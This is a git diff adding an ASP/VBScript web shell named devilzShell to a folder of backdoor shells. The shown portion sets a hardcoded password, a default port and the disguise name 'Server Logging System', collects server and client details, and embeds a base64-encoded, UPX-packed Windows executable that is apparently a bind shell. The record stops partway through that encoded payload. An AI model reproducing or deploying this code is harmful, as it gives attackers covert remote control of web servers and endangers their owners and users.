diff --git a/Backdoor Dev Shells/Source/devilzShell.asp b/Backdoor Dev Shells/Source/devilzShell.asp
new file mode 100644
index 0000000..1f16e53
--- /dev/null
+++ b/Backdoor Dev Shells/Source/devilzShell.asp
@@ -0,0 +1,1483 @@
+<%@ Language = "VBscript" %><% On Error Resume Next %><% Server.ScriptTimeout=600 %><% session.lcid=2057 %>
+<%
+'# devilzShell <[asp]>
+'# ^^^^^^^^^^^^
+'# author: b374k
+'# greets: devilzc0der(s) and all of you who love peace and freedom
+'#
+'#
+'# ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
+'# Jayalah Indonesiaku
+
+
+'################# VARIABLES GOES HERE #######################=============================================]
+shell_name = "devilzShell"
+shell_fake_name = "Server Logging System"
+shell_title = " :: " & shell_name & " ::"
+shell_version = "v1"
+shell_password = "devilzc0der"
+shell_fav_port = "12345"
+shell_color = "#374374"
+
+' server software
+xSoftware = xtrim(Request.ServerVariables("SERVER_SOFTWARE"))
+' uname -a
+xSystem = OSver()
+' server ip
+xServerIP = Request.ServerVariables("LOCAL_ADDR")
+' your ip ;-)
+xClientIP = Request.ServerVariables("REMOTE_ADDR")
+
+xHeader = xSoftware & " " & xSystem & " Server IP: [ " & xServerIP & " ] Your IP: [ " & xClientIP & " ] "
+'################# RESOURCES GOES HERE #######################=============================================]
+icon = "iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAB/klEQVR42o2RS2gUQRCGq7rHB0rw" &_
+"4miwFWVmPSmIHpaQSwQD4ivGKHsImIOyBhJETUDjRaMIEjTk4gNFIutBwScY8eBh9aBgyCGCiKu4" &_
+"E4kzBk0uimiI21XWwgbMorOppumuKuqr6r8RZmnjxl8iR0H2DzfKT03HsVLhV+Ove4rc8xk4uYtx" &_
+"dCHgGQHc/SdAuqwZB9jCAE7RnwLGR8hHbiK5/aQzCcC0FP/+u2YG4KPx2+p14SKVTbFIiPdI7/ei" &_
+"oL98whmAt8bv3O7Y89sIv29kzOpSvENR41lSD1Jh0BQLeGf8jq3a9nayetX2KVhfeta8Gm0nuwgH" &_
+"0+FITSxgzPgtm3Qhs5qR+kgfqwIYGgVuTmk60EPq/p4w2B0LkG5+l7I5Ud3BUsoBBlc0uEVOakWU" &_
+"vxMLKNqA8V4c0rZWyZ0lzbI2M9rTpNfKD+RiAV+MX9eiCs9+yV2ecLkacPgaUvcNxcuuWHW9Pgr2" &_
+"xQJeGu9Us7YnjpMaFsE2FGOh8dN12l49SjjUGo4kYwE54x3eqW3fXlJjrawSMvLPN8brbtB08hyp" &_
+"gaYwaIgFTJjE0l5l3wfAVRdIN4qQT8T/dht5btbq9pVR/lJFEUWHWhF9fnWUzxb9x8u9hwcV7ZjO" &_
+"D1rHXRx9mPgvoNxkqjmTwKnXyMlVgAtcxucCyMwaUMn+AMvLzBHNivq3AAAAAElFTkSuQmCC"
+bg = "iVBORw0KGgoAAAANSUhEUgAAAAMAAAADCAYAAABWKLW/AAAAJklEQVR42mNkAAIpKan/b968YWAE" &_
+"MZ49ewamGdnY2P6LiIgwgAQA8xYNYheotNcAAAAASUVORK5CYII="
+wBind="TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" &_
+"AAAAyAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1v" &_
+"ZGUuDQ0KJAAAAAAAAAA0GAk5cHlnanB5Z2pweWdqmGZsanF5Z2rzZWlqenlnanB5ZmpNeWdqEmZ0" &_
+"and5Z2qYZm1qanlnalJpY2hweWdqAAAAAAAAAABQRQAATAEDAIkLlD8AAAAAAAAAAOAADwELAQYA" &_
+"ADAAAAAQAAAAQAAAYHIAAABQAAAAgAAAAABAAAAQAAAAAgAABAAAAAAAAAAEAAAAAAAAAACQAAAA" &_
+"EAAAAAAAAAIAAAAAABAAABAAAAAAEAAAEAAAAAAAABAAAAAAAAAAAAAAAACAAAAIAQAAAAAAAAAA" &_
+"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" &_
+"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFVQWDAAAAAA" &_
+"AEAAAAAQAAAAAAAAAAQAAAAAAAAAAAAAAAAAAIAAAOBVUFgxAAAAAAAwAAAAUAAAACQAAAAEAAAA" &_
+"AAAAAAAAAAAAAABAAADgVVBYMgAAAAAAEAAAAIAAAAACAAAAKAAAAAAAAAAAAAAAAAAAQAAAwAAA" &_
+"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" &_
+"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" &_
+"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" &_
+"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" &_
+"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" &_
+"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" &_
+"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" &_
+"AAAAAAAAAAAAAAAAAAAAAAAAMy4wNABVUFghDQkCCbOeYU01Vb5H61QAAFUiAAAAYAAAJgMADCfk" &_
+"//+DfCQEBXUIagD/FTBAQADCBACQuCx03/7/EgAA6AMABSxTVVZXaAAQI2gwUEAuHN1v396L0LkH" &_
+"HgAzwI1GPPOruAQMv/aX3bsQBIlEJEADRI08M9tQUokf9naz/USJXCRQNgyheFYEvvdlJ/6v+/+D" &_
+"+AGJdCQUfhyLDYQTUWkXg8QEZjvDbHf/7j4UdQQdjZQkrFNSagI+9Hb/ut+FwA+FQwI8PUcDfX5T" &_
+"AGoB+777+x7olPA78zYYD4QeAptTSa3puq4ggBQHJAMoLCp7vm2b8GbHChwki0wkFFFA7U33Z+xU" &_
+"JBBmvR4cUlBWdZDucpDczQFqChDkXjfsZryLLUTTThD+W/7t1taVIItuGI1MJBCNVFFG/vYgW5zg" &_
+"dNPp5gIQaBAnABbOZhpHQP2IVNAbbt1HO9N0sJMQu4vxWSzBu///wukCXIvOg+ED86oPv0oKi1IM" &_
+"i8EYMIvK956/Mhqli8ikxtEshG8IwckYzUYd6V67sBlO/wDm4Sxb5wYZ2DUYtFhA1d13lw12PAJo" &_
+"BONSx4QkjNgBzn54cwtMnCSQ47QkmAacHtt8T6AAzzyNvDqDyf/G7nfcwmhQLvKu99FJiZ/GhACa" &_
+"pum6GVwHRWVBY2marmlGeB9CbUfTme8GQwdkiJwMSA5E94s9Wy5mOIR6r1BR6bZN11oQ6wW2XFNS" &_
+"1DSD6QpHdQ4A4dR3HP+QbgFFC8xfXl1bgcTj4Y5HNvkIg+wQ6DPtV8oKl7vH6AcUIBCJbM0U/mbr" &_
+"Axw8TGg/AA8AVVVMRmr/LFQE+Dv9dHl/GldeePfZEwgdAAU7xXQF+tPrWfvdtNkUSD0kInVMVQBW" &_
+"VZcOc7ddMv8BSWg4NzwQs22lf+iF7XQjlQFVTRQLbtvONQzWINa0Vltxc41LJRDCa6ldiS3t9mbJ" &_
+"fHgBOT1sUgp+ESDvfnf6agiKBlBPKQjrEIsVYF4zyYoOj/Hf/YoESoPgCJgDRuvQgD4AdGa7iTSF" &_
+"1n57u4AGQKMMOkY8InUYBgWy7X//dAtGhMB0Qgp19UbGBgA1mmUeO8lmyQ5RD6Fk0ooW+q0dWVB1" &_
+"zh8/yXQC68tXOGloBxCUGAcANjrM3FIA+MfOzIDyH2v6ZYurg8cBfg8PtgdqCNle6X1ZWesOLGTF" &_
+"QQr/9rKFwEfr0hU3R4P+LYvubGGt19oGKzUPdkMsZw/7DGoEVkALoTxwBP32798NjQSbjVxG0DDr" &_
+"z4P9QsN1AvfYyb7b+pLD/0MENgSMWcPMAB0fo8BRPQJxCHIUgUIVv/2x3z4tEIUBF3PsK8iLxAyL" &_
+"4YsIi+H/jYVAAsMh7FGLRQiNSAGB+QCfsHR7tncMvQ+3vutSt1b//+2v1w7B+QiB0fZEVgGAXnQO" &_
+"gGX+AIhN/I3LduOIRf0g6wkN/UX82rXtj/ZYjU0KBRNRUI0QUAvfbrjQnQdmxBxOAsnDU0UKI0Wy" &_
+"Y4HfDMl0av+qQVKUIuHGe/dkoQAAUGSJJQfgWFNi8SNceIll6Il0QKvUiRX4VNt3n95hyIHh/8gN" &_
+"9A3B4QgDygrw3A+7P+gQo+wHM/ZFEVpZbrs3ug0wHAsG1ol1/AgPr+y79kkWoxhaBA8OfaPQVAls" &_
+"22Z3DDAEC3cImSvQt6T3/zMNCEQWH4lFnPZF0AF0Brs0vS1w1OsDWlgddZxWoXALv2XXUCMDDKAI" &_
+"CMZH7GVD6Q1VCYlNmOzOCZs2F77dw4vHdZge1+3YVHUFWO0g7A0TaLwToQmVbAhz5XhSLyRZJXhL" &_
+"OBEC7ADu7jYbxAiLC8gFDHUJDwT34dv43TqrUwWL2B33ZK0DCZzgLjCE01safxh8eHKEGKHcU9s7" &_
+"NdgsbHA+zeReVhF7f6TOM/yAInQEi8brHRsY+WSDZwxTiHyEzgAtvMG7AlijQ2wCdSQcHGVbMN1J" &_
+"BaFEvBEUAhDYMSuVDDkzqQiHt18LmGzglCRdGBmhVGObbU/0RY1TLEEg+InW0HQbwFRAhBg3wb/x" &_
+"b18f4FZ0Y4ld/I08IceDwAMkdmEXi/wNwIv00NxXzDhKy46FFPwMW6PBxkY7kdQqg7//ydrs1ukp" &_
+"SeBWXxxVPHOtc1IRFNeg7esCnYULXUNlbU3wJg2JCG8sgVvIoRRaCNgH80Bh0BohCPquIV+DgZQO" &_
+"AD5ndg2nwxjQDI4I6BC5tU3IAVcPX7koVbM9Ond1ERh6LGUGhHBxoSEIDNSLXAmd/d0VpCKIHSAo" &_
+"PKEQgyI/+98tuAwJVo1x/DvwchOLBpeD7gQ7hnyFvzUic+1e8pQUw5d8N25oIBAchdtbC61nxDp6" &_
+"iYZwX8MFtSfbdRI7qnMNV8YE61HCtms4yp4IPgrcGFn4N1v7xSBwWAhIChWD+wXlDd0LWYNgCOpY" &_
+"4wrZg/uNktvMhPauLGEsvbbrY6VNQguLSASDZ4XIHf/NrTT4EAUV/APRVjvKfRWNNPC33e1JK9EE" &_
+"tYgSgyYCxgxKdfeL3bYOdngEU7eOM8BpxwWfAXv3DINA63A9kBKBXT0B+RmQkYRKPZP5GZCfhTc9" &_
+"jYIkPY9Onp8BhhE9kgqKay2MnZ2IarXTdAprwH0fWV7rCPpREWOj41lwFPiDyP8xbFko1yi5uFtd" &_
+"w+RGUS7ufbtGOWjZVrgFdO3r7Rv8n4DADDvGcwQ5EN2NDEleA+xyfL+NFTvBEnSWMwhaeBk4sgAZ" &_
+"WrHkRDPxkQ4likYBJ002Gy7QIBHAwFCnFVR05vi2lSVa4yENBwo8IHa6rr2VTQwgd/o0KAQP6fUu" &_
+"LZTZ21MnOR1a29cWrA5bWtAT/yc6An/6SyESPD10AUddGxxZjSL8Tm3wAevorL1hZhqcA25HW3tZ" &_
+"5zUI9Y7sfwtPCcYHPUE4H3Q5VVc5it2+RUhZRYA/SSJVNLZYtlB5PAYuOzaxb3f8eKxZblkD/Td1" &_
+"yV3/hEPpt30WdisdC4kejYc2Bl84qWFb1FG9rxi5V74wii2pP7bDqZATKaIYfP44g61ChRhNJ874" &_
+"vNoGrxV1n6yLDy0N2zag/NiI1KgYtWGTrtahCC8n2zWs1SSGMTVwFEhazuVuZgCco/ylL5hSu7Vt" &_
+"TBgcFJSDIXJqjlhji0p9VLUgrdVLpYV4dzeDx1MU8gv/woA4m0SKUAFAgPq+KYTSdCUX3rj90vaC" &_
+"4VdHBHQ9AYX2cIoQHTsy9ogWRkAL1evODASAyNjtLR1GQBzrQx4Ff0vetgRARNr2gxkYiB5e3pq7" &_
+"RmUgdAkJCAl1zHUDSLY3jjW7Smb/gGUYAE4A+75mlrbgRCsFJwNeeGBmbPEXyLyLVbbCaxffAsfQ" &_
+"14UiXNH49y3wQEPr95Is9sMBltzaX7hBOX1tDYB4ASKN4x2Lwihh2EpbNwgM7u/2t98YGA+UwokF" &_
+"0euL00uFkw5DiNpboULXBbFLdfOA30Zr5KcgP1UKij+su9Q2dDoPZ3QuKBniwgkTBgYfGw9AsGtz" &_
+"AwMVAUCQDbWr3deGMA8Og8cDg/eUmgFDo+H7oOOFDm5JoTSIU7stpEBNNgftwT3AzATV+j3XAS0W" &_
+"Ie3rKGYWTpZvVPsX6hszsgNzAuIPWoHdbLMOQww/J8JmOR5t0Forc+s7CPv5NnZLnwbyK8YvUE7R" &_
+"+I5A0h2w0QJdUys0/9c1KVdL+jvrdDIyC41qroFbHFVQuyQlIW2D1L1WDBAnXAmL9sTP1gNWnpjD" &_
+"61OVTKUSpZO5hbF0PGBD0vZv+3QKQDh7+wT2K8dAalXOUolWWKr7Rrp05WCk9ZyzDpRfPDrxxiCV" &_
+"w+ww7HCCRIsROmHTpKllMhsVWUAY4DXAsgBaIB6GKfutbNy0cxptBLbGRgUKoSNC7u/S9QgFG+vi" &_
+"jeGYTh1NDGYJQnXFNen3RQnCbrkLMI3cu/1XYrhKSo0cLnwCdjk1Yz6wzP19Ur8ETI8AOIPS/NjP" &_
+"f4kHjYh+wXMYgGAIGHuBy0CLD3YIgcF85BVif+bVSXy76waLCfvxL2y80X5Giyr4ZDaKTQD2wQEw" &_
+"oe6tfgQIdQulsB6lCo2/0MeLz8H4BY1Vy3Qv1HrPIaULiQgviDVe4hvrR0WDw5v+fLpQKPECn+w8" &_
+"2P/y2HVNOxa3b10ABIG0avZY64jDSPW7HaE7wPVYrKiD/3MXV2b9MFInDCUVPtAGgE4r89YoauoK" &_
+"A3UK8MW+xG4EBYBDdAN8m/+4Ajwrszao0kTDhXrVUYN3GWgceGRrUHYgVbSj6FjcOjY8hS4e0UoP" &_
+"POhY6JAD86BySL9YONF7/OdV2Gi02PRYuCEeCC5SXTqL5afujjrbTItBBAaeuB3rvozRdA+tVIkC" &_
+"uAMQwz7Njv6hi9lq/mi8IYn/NQDFLrogGSBKi3C+sOO2QP7xLjvadCghdosMs4XbVgmpbUgXfLOx" &_
+"/fbv+3USaAEBLbN9Em7/VAjrw2SPBQjtnONDooznZIu2t+DS94F5BGh1DVEMpTlRmLh7C7EFm4pR" &_
+"uxSF2woEK3EIqGFLArdGfGtD0GsMWVt371ZD6G/D/TIwWEMwMPfjCPr8i11Yii3ll1hA5NmC5qB1" &_
+"cIkxReEPCInvsrU+IXN7CMFhulv7l212sY90RVZVjWsQqAtdI7oXul5BC8QzeDwlU14DxrpyEZgd" &_
+"VgzatWOyFVw2b96PSnznum2PVQw7CDAaizSP66HqHftq9nwcyesVXEOITVbgP10WlLVCb2i8O4sp" &_
+"i0H2A151yRoQJOGhe60aCrihmfIqinWs3M98UiFo/D6GoThWj2DUy1nwdZzwH/5g14HspIRVCDPJ" &_
+"uCjY3bTVPjuQC0JBPbgMfPG5hfe3lfHB5gM7lhomHCpJZ5aGbLzocA3X9h66ENeo+nUL8SBsRGLh" &_
+"hVw+/7kpAOXBukm6MBMX/ENALXF2FiZZEleSvWdvx+IHYUBZZTx2KRlQL3B2FnT4DYNGagMDN7Op" &_
+"7vho+EFXqCesVWD/xs6SNNwQVwy8zP2QwR3YvP+2LNMWzFSr2REKBCfBL98ZsFkaLF/rJo2Emhor" &_
+"azBq1zY7TdOk3Qhq9Nx/xF5OTUOAyeQtDEdLpo0mCEfFij8x+apEKf6D+gRyLffZVHRvvv9fE4gH" &_
+"R0l1+ovIweAIA8EGEMqD4gPXXaIUewPzqzoGIw4o5UxKPs0ixDnJVo0EFWVP3ICuHhaKQ4SIJHVb" &_
+"0ISBHGZTDglFhgOuq2ohIzvkeCQzUqQB/wUY9poBfvAXLyE1uLQQfXCiFbgi/N5WLJd3/AnSuMgV" &_
+"OTB0cjBCVFGaYuEN6Nuc99YVIxgkvkBjWb/ggtAWewnT6AGJUMOqcXOjtenkgA+G74B97rG1+NMZ" &_
+"u03vihEPDK6x9038LLZB/+Q7wg+HkyXHW21ZAw7uUkg/Uux+owEsiwSqjZ7YkYA7v03ob7TLdCyK" &_
+"UQFkhbb6O8d3t2/3jRTJ/IqSwCAIkEZAE3b1bBu68EFBgDkY1P/cwwid/EGWMC2Ewfz9zG0WHt5Q" &_
+"o6wLeeTMv8B07P7eD6WlWaO7petVQHn//0g9fWZwGkKhCEA9SnKwbBYrIzksVDbWXmtx+gvCTasA" &_
+"voLb6OsN2FwKmzCs4KpQ+wTVHUFbangfHpXfgyUhVf4jPMjW6ktc/yV4av0oMHJhFGz85RaxZSdy" &_
+"GUn1UKmUgameKii0wbY2FwQNbkggdjZTOwG4BOkFEgsgLzzPCBFXbFkzwN4bIdiqtBejxdwbBs76" &_
+"w18zFKQE7AaMCI1W9+cKFgumfz80wL6HiIQF7KyCxqW6+v5y9IpF8saFDSCpN6Mv4erGjVVgtgra" &_
+"v3cdKxi0e+zIjbwqQbggAIvZlzb99s/LQkKKQv80ddBfW2qd7PpYa/YagzWNejFWnbFgxFa1I/2y" &_
+"m032HVYeVjQjKKqwQ1cy/GjvJ39bsBReXD2NcmaLEb+fsMD2wmAW+hCKlAVkiJBO3gqY4L8aAnQQ" &_
+"IMZbAHdbpqAcgWHCDY08AL/rSRUlf1hju0FyGQRaqkvIgMEgiJOXt7GISR8dYXITencOrm7YmyDp" &_
+"IOvgTEq+ZeHXgwE6Emr9CJZZ/F+dYHIIWvQDJNCogR+XHw/2VhoWLVg+Zx86Xr0TQMN6HbyxsNdI" &_
+"fMscJ2qNpCTC/7us4ZH4V/fBA/6KAUG2Ow4S/f//dfGLAbr//v5+A9CD8P8zwoPBBKm/ht9t8IF0" &_
+"6Jf8JiOE5HQaqUh0gR4d6Kmno82Ny8tboz/+BP7rCP3rA/zaGswR9l8ZC0EM/WBvxWSIF0di7usF" &_
+"iRe+rBCsxWduaYNrN/a2m+EvNITkJ/fCaRIH2Qm0sWrHOC5mCLYlK9HG7gwIiAcjw9kIuHAqWsUb" &_
+"9eiu/rHgdyIObTo6u23adRZkmJ6DFdoTKvneRbsbOEJYNcANdwtWGiJlqBRNPRwuA3ByCS/U/8rm" &_
+"8FZqZEE4xAYAX16I0JCTFEAA5KS5SGMyJBNJtke4QbUrwcMJ/qbZZJL9/IbGoNBStFfFnU1SttEL" &_
+"FMEQ0QPG1HbUMI3t+PgPgnhH98eMFIrQ/0I4kd9yKfOl/ySV6CwWKvDbYse6HIPpSMrgczO3JYjI" &_
+"F4UABo34Tdc9XZAHfBAEPANgI7a3wMHRiszXiEcBBQIZW7bmVghZxsdczJaxZSeNSSslAQI7m+RZ" &_
+"AqaQI0YhrjuQr0c/jN8GzAOapmmaxLy0rKScNN1C/79EjuSJl+QH6OjTNE3T7Ozw8PQC0zRN9Pj4" &_
+"/BBafNgojZoD8HoJwDTb7//wAC0DDCAN7C3tWF5foJCdCwnBBZv5EaMN4e3DDAorjXQxZ3w5/H92" &_
+"20sGJA394/x3gC7CeWtxRe+NMC6PF/mcTPkriC0swma67pCYC7gD4G0DOlvydbdvA05YT1a2S90u" &_
+"Ydgfo+4C7wK8ZQPyKYyQJySNV7Ykqy0DrkXXXZiBWmBbNAY8A03TNE1ETFRcZHdpmmaELpccHBgY" &_
+"pmmaphQUEBAMkKZpmgwICAQETdedsB+QBZgDqLwlOLeELpe3tYcDWwizD4MTIZlOCLdoQBnVDLkW" &_
+"YHK0SFuts50luqwGsAUGwIzEo6iUoLrspd5CeKEY+YChtAfatDVgiLraVJJQDNcL7ZY1ACRyB2MU" &_
+"6+hfZXIRIaPLnsX2VnKv8/ryK3EMWriD/7/AwvxXwe4Pi86LevxpyQSvS4l92Cjk3jCMAUSZILZN" &_
+"xrcG3L0ME9UI+HV/wRGjQnz7aj9JXwsMO892qZELBXq7EwQ7Awh1SL2lIP+tf+hzHL9x0++NTAGO" &_
+"1yF8sET+CXUu2Na7K3UhOeskdeAeLX0692AhvLDEEiQGeQSZsXLBUYd8EwoEje+2G8xd+A0IjIv7" &_
+"wf8EZHRb29r/P3uGXy+94ZfsFWoAWiTQK6gFun/MEaGJVfhJWjvKpnb2/LmtdfPKQRv7QD47+nbb" &_
+"UrstmPq/dGsuiVG+UTwyMmC9uurSIVRhwSKXER69LdYS8tIhlExSv1pZzrZJvkoLBAgRFS5s1JEn" &_
+"7NUJOTOGfDMbpIkp8I0M+crWXPcLJokvDgUIol1q2ZdKY4cHBO/bRrtfzU0P/sGIC3Ml8w9GDnay" &_
+"3b+7iIvP0+t2CRkNjUSxxW4V+wkY6ykkwE/gGWOH4J4lWQQPnYS3CVT6VsM4i1RFoxqJXBNXhngs" &_
+"S3L6oXZMWqp8ot9/pFanQBTi9qZqDwNIDFKAAEPMXiN2klNRgB8y/rD3IBwJUAgOOUAQg6SI4uxu" &_
+"9mwkD/5IQwpI6rE33OJ5QxODYAT+EYN4CLrXNt1DbFMQcAxaEgkQLXosLGD0D9hC4RjyBICSy8go" &_
+"+sW/ofNMEexRjUgUUZsrHOP9dmVizv8NLzsFIjVPv7ZRtxSWOokNTOsidX5Pt6OsiTU1XClgkypm" &_
+"L2gbn9yNYDyCLBtIF3bw/Ds6TBdqSTR9DoPO/9PugynHWy3t/+/06xAmgP+2wL0z9tPoDgOhaYvY" &_
+"O99/u/AbfwhzGYtL4TsjKyP+C891C7td41Y+FDuaGHLnB3V520zI94vaO9gmFQXr5hklukV3dVkk" &_
+"c7N7CEh3yLNzEzfr7SYNG7dfmbMv7hclbnuF23YXtDAWCCYfWVstbFut/IBDqDhsB91r1W0b6SNp" &_
+"WqUUi8NbqW0W+sdKLYuMkLY7e9ilgJBEiDeLEnAR9gtvZVXdg2X8hEhEC9aLCwEMtdB1B5FJFKb/" &_
+"LlwcX4v+IzkL13Tpi5cbhzXryjP/XFhNdkz/7mB3V851DWZqIGRfhcl8BdHhR66u2+7r94sgVPlD" &_
+"Cit/8XuNRk3/wf4EToP+P374Xjeb0qaTzA0BJGEgfSsRt6UOAu84nNPz7CM3ynH3XIhEiQP+D3Xq" &_
+"Yewh0WID6QvrMRcrlSu4douhMiEZKTaYLCbnKASFIgrArk2vy3oE+ACVr3oIkNt+rmqEoql88UIM" &_
+"pVkGkFoiwmQG1VLpZv4LfSnEmQsujW2uxxFiv7DOjAk7gN12yQqPCXyu6y8ovg9po+VOtgl7BLG8" &_
+"cD3Sxa0Wvu4JN2p0uaVfOnQLiQqJA/yyeXVt+G0bvNEiARIy/J+LDnr8VqohJQ8+dRo7HfLQiNSV" &_
+"60s7pAbSpbpgaxGJUEIECAY9OCkCDW/sMN26wf9ddTBfiVBy4JCWBaW0V5doMIPCBirHdIicDX/B" &_
+"YsA9CmjEQeAIR7bPTEUwjTSBM2SJRvZBA/0QdCpqBGj/aLJXGfQGMMhgDB12EFe11ICB/N18TqAW" &_
+"+60kxYl+BP8FYkFwHapdqovGsu7po/WNrktxyEEIM9vFT+vjRrPgQ8M3acCBWvvEdhtjMIJF6kAI" &_
+"AgTdujVsnEoe+4XB5995DBcw5LOLEIAARQ36TSbRJycVjZcAcCNocGn7+nc8jUd3SPKDiH5mMO/u" &_
+"9I2I/AbHQPzwQg56n/vt7/+lSATHgOgQFAVW3lE3WCzwlnbHI08MBfjeugLghukmiayNSgyH28vW" &_
+"CI9BZJ5EQrye41Wq8RYsQ4rIC6BGq1vdeohOQwsJeMIsCjgoMMtofmrPj4rQ2KvkYFZCeJDo4WhE" &_
+"RDBczWeLNbl42FBBhjhEs9ZhB37P/il0UGgoEGgUB6Nkbnop3uHWo2i8C94W/9BdvWf/PXQOoWgQ" &_
+"BVMRvhigV6phA0FNjgdWR1zr+I8MV5SsUrv6elZTi9ndFPebTgVvqHEkEG7bdW/rIdbVjii8s3Ql" &_
+"gSkfN/tfe3XrLR1Rg+MDdA0gHaEOKlQv8CBbNVB6z2jDyXQSOoN30j0DcRE67mwYgAjQNi76Kpgg" &_
+"I8B292Ov+gYny3LyFoPG3iweDLXCtyN1xjnrGIHixwwt9kjTCQ4ABDPSU+5s97ttVQoEiQdfdfiw" &_
+"dYWjAjlCMFlQRLWCUuQcVJ8QXAI+f0ZX8ltTZIme4FbUVtaMs5XfRhMdI+siIAxRTwg+G4heIgEI" &_
+"3mLSWWxcFH4QoHEHRFRdzllZ5WDrotfJHRMdFhy8JQQu2XRIyOb5EHMqOtN9IAQbs3Ygcy5/JKCD" &_
+"5yVzIP+Lc+RNnIjW14VWGQRgmxCCG3fEQdw2CMGGX+sTcP8mBby1sRGLOGfcdGa6ZG22M9xhIVf0" &_
+"TS/iLObsGqWMD+1/iRJPRfd0MvZFDQR0QD6zm6m2HHiyQNV/HtrAbG1kMkjSj1C6kIayyMeD8gvZ" &_
+"XN2zNtyJXeAuVkoyEluyfXfKutbfdM9k5Gd0nI+4zW43s3UEA+sGjChoIPggNmaU1VC/t3ELFKGL" &_
+"z8Zx0QgAlkrNi0RW/EoNEmywUELsQO1J9NjcEt3zDF7IKx6DwuSCkxaKdH4PODL1OqqBtwSe2eRA" &_
+"SXBrf2g8y5HPCYA7eDz8O5ACJNh1BLwD4Dt/CDkA8mg8aDw0XTdYP18GTANEPAk2TdM0LCQcPH/u" &_
+"M4cAaDzwgAMDkASbjKA8fwDnEfKQPrA9CD1IsOt+LJAYCzgDYD1/yCGQVwA+AD66brBQW7R/vAPE" &_
+"bJqmaczU3OT3PU4IARJ/HxAgwabrBRgDKDw+fxFm+gXM/yXAmgA1anMA/6sWSitBj8wDF00YkwPb" &_
+"pv6/cnVudGltZSBlcnJvclENCgNUAflv9kxPU1MRDgBTSU5H/rL2AlNPTUESEVI2MDI4t7+83Qgt" &_
+"IEthYmx0byBpbmlWYWw/3+zbaXoNaGVhcDcnN25vdLZvcGs9BHVn7nNwYWMjZuw2YO97bG93aThh" &_
+"Bm9uNyB5Crk2c3RkWvvtZzVwdXIrdmlydHUhM77Y9tulYyMgYwxsKF802nabQl8qZXhcL1iwk732" &_
+"BtziXzE599vu5r5vcGVYMXNvD2Rlc2NrbTJgKzhGJIHfQIhwZWQZVyM3dms0JG2brHRovyGM5Nth" &_
+"L2xvY2sXmtsGWzRkt2EuAvat4daiIXJtAHBAZ3JhbSB7IRS2Sm02LzA5T6MZWgoQQSorFPK5RjAu" &_
+"Kzg9D+H7YXJndShzXzAyZott267Bbm5ngm8FdDoR0ApnrWTmf00tYBj/8LY5ZhVWaXOqQysrIFKg" &_
+"Ye67PUxpYrRyeScKLRYaZ9vDRQ4hEVDUOsI2rEDZAC7v5eD89ra5JSxrbHduPhtHZXRMYbELd2wy" &_
+"QQJ2ZVCudXAT/61tZw9XlWQmh2Vzc2FnZUJvNb6wxHhBfXMlMzIuZCrPtaInN745SAMLVJhrxHI6" &_
+"IAMAq6QeQF4pp7Zq9ftSU01TUwdlbZk0U1ffAKX5v3MgTWFuDucoQnZyAFwv2gOZZMq2ACABKCCZ" &_
+"SB4ASAAQhEAmZAAQgQZkCGQBEIJkCGRAAhDuqsrcvwABB9sIdZAu2xhbBR/AZJBukAsdCwSWQAZp" &_
+"Bo0IjmRABmSPkJEFZEAGkpOyLEQHCAfvCowkLwtvDKsABZMZ9zWgb6uIbD9cB03TNE0JMAoMEOB0" &_
+"r2mWQhGwElcHExczTdNgGChYB033lk0ayEEbuwccaDRN0zR4WHlIetM0TdM4/DT/JKuInQRTAgTS" &_
+"ReTZwb5ggnmCIRem3wehpbx5/v2Bn+D8L0B+gPyowaPao0HOHmGXgf4HQG6QIbC1L0G2X+cr5P/P" &_
+"ouSiGgDlouiiW36h/lfy291RBQPaXtpfX9pq2jLT4GXn9tje4Pk5MX4A+AMyKCKwWdnVUVF8RyQw" &_
+"/f8GoE1EQnl0ZVRvV2lkZUNoYXID8H+7FFVuBm5kbGVkRXhjZXAF+la5bUZpJmUZD0N1cnK2oFWt" &_
+"v1UAcwJw2dYSI2kMQ1iTbIO1KA5BL1NEe+wLwGlytm9yeUFFU3lzJ7PWDmxtFFNvaxtq9hvAdGGP" &_
+"cEluZm8s7rNXuZbNgG9tbZ7J2jD3TGluZR61v8q2JABjJUWTT3L7F1sAWXMWmkFkZHKtCUABGExh" &_
+"PABHArpJVgVBbGANYGtMDUiBCj32NztSZQxDQUNQB01vZCycRbhyZUgqqFYjc2fBHjMtC09FTSd/" &_
+"VIBlwt55cCUPV1RruyU8ajSVQ01vIxCwCTtBDVd1ZUMB2JBlTr84RnJmKWxl7RhFbu3s0Jpe20R2" &_
+"Gm95ZhGGEDZXxeUbrAEUelvDZBIxey82DY3PTzZ7SZgEUIYYCc1QbnxSdGxgd2m8YfA0G7F0ypGJ" &_
+"AENw2Iy4ZnNlYGJPsDPiFjtTQ2xBDyPYjFkiZAw5CFgymnGGIRrbBfZRDkPlbIYtxF4Cn3RjaFvp" &_
